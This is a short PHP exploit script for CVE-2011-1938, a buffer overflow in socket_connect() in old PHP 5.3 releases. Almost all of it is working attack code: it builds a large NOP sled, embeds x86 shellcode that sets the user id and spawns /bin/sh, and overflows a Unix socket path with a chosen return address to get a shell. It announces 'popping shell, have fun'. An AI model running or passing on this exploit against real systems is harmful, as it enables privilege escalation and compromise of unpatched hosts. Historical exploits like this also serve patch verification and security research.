PHP <= 5.3.5 socket_connect() Buffer Overflow Vulnerability

<?php
// Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian
// Affected Versions: 5.3.3-5.3.6

echo "[+] CVE-2011-1938";
echo "[+] there we go...\n";
define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3");
define('EVIL_SPACE_SIZE', 1024*1024*8);
$SHELLCODE =
        "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0".
        "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1".
        "\xcd\x80";
echo "[+] creating the sled.\n";

$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
        $i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}

$b = str_repeat("A", 196).EVIL_SPACE_ADDR;
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
echo "[+] popping shell, have fun (if you picked the right address...)\n";
$var85 = socket_connect($var79,$b);
?>